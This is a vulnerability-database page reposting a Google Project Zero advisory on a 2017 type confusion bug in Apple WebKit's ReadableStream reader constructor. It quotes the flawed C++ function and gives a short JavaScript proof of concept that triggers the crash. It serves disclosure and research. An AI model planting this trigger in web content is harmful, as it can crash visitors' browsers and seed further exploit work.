Lucene search
K

Apple WebKit 10.0.2(12602.3.12.0.1, r210800) - constructJSReadableStreamDefaultReader Type Confusion

🗓️ 05 Apr 2017 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 32 Views

Apple WebKit 10.0.2 - Type Confusion vulnerability in constructJSReadableStreamDefaultReade

Related
Code
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1085
 
EncodedJSValue JSC_HOST_CALL constructJSReadableStreamDefaultReader(ExecState& exec)
{
    VM& vm = exec.vm();
    auto scope = DECLARE_THROW_SCOPE(vm);
 
    JSReadableStream* stream = jsDynamicDowncast<JSReadableStream*>(exec.argument(0));
    if (!stream)
        return throwArgumentTypeError(exec, scope, 0, "stream", "ReadableStreamReader", nullptr, "ReadableStream");
 
    JSValue jsFunction = stream->get(&exec, Identifier::fromString(&exec, "getReader")); <<--- 1
 
    CallData callData;
    CallType callType = getCallData(jsFunction, callData);
    MarkedArgumentBuffer noArguments;
    return JSValue::encode(call(&exec, jsFunction, callType, callData, stream, noArguments));
}
 
It doesn't check whether |getReader| is callable or not.
 
PoC:
-->
 
let rs = new ReadableStream();
let cons = rs.getReader().constructor;
 
rs.getReader = 0x12345;
new cons(rs);
 
<!--
Tested on Webkit Nightly 10.0.2(12602.3.12.0.1, r210800)
-->

#  0day.today [2018-04-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation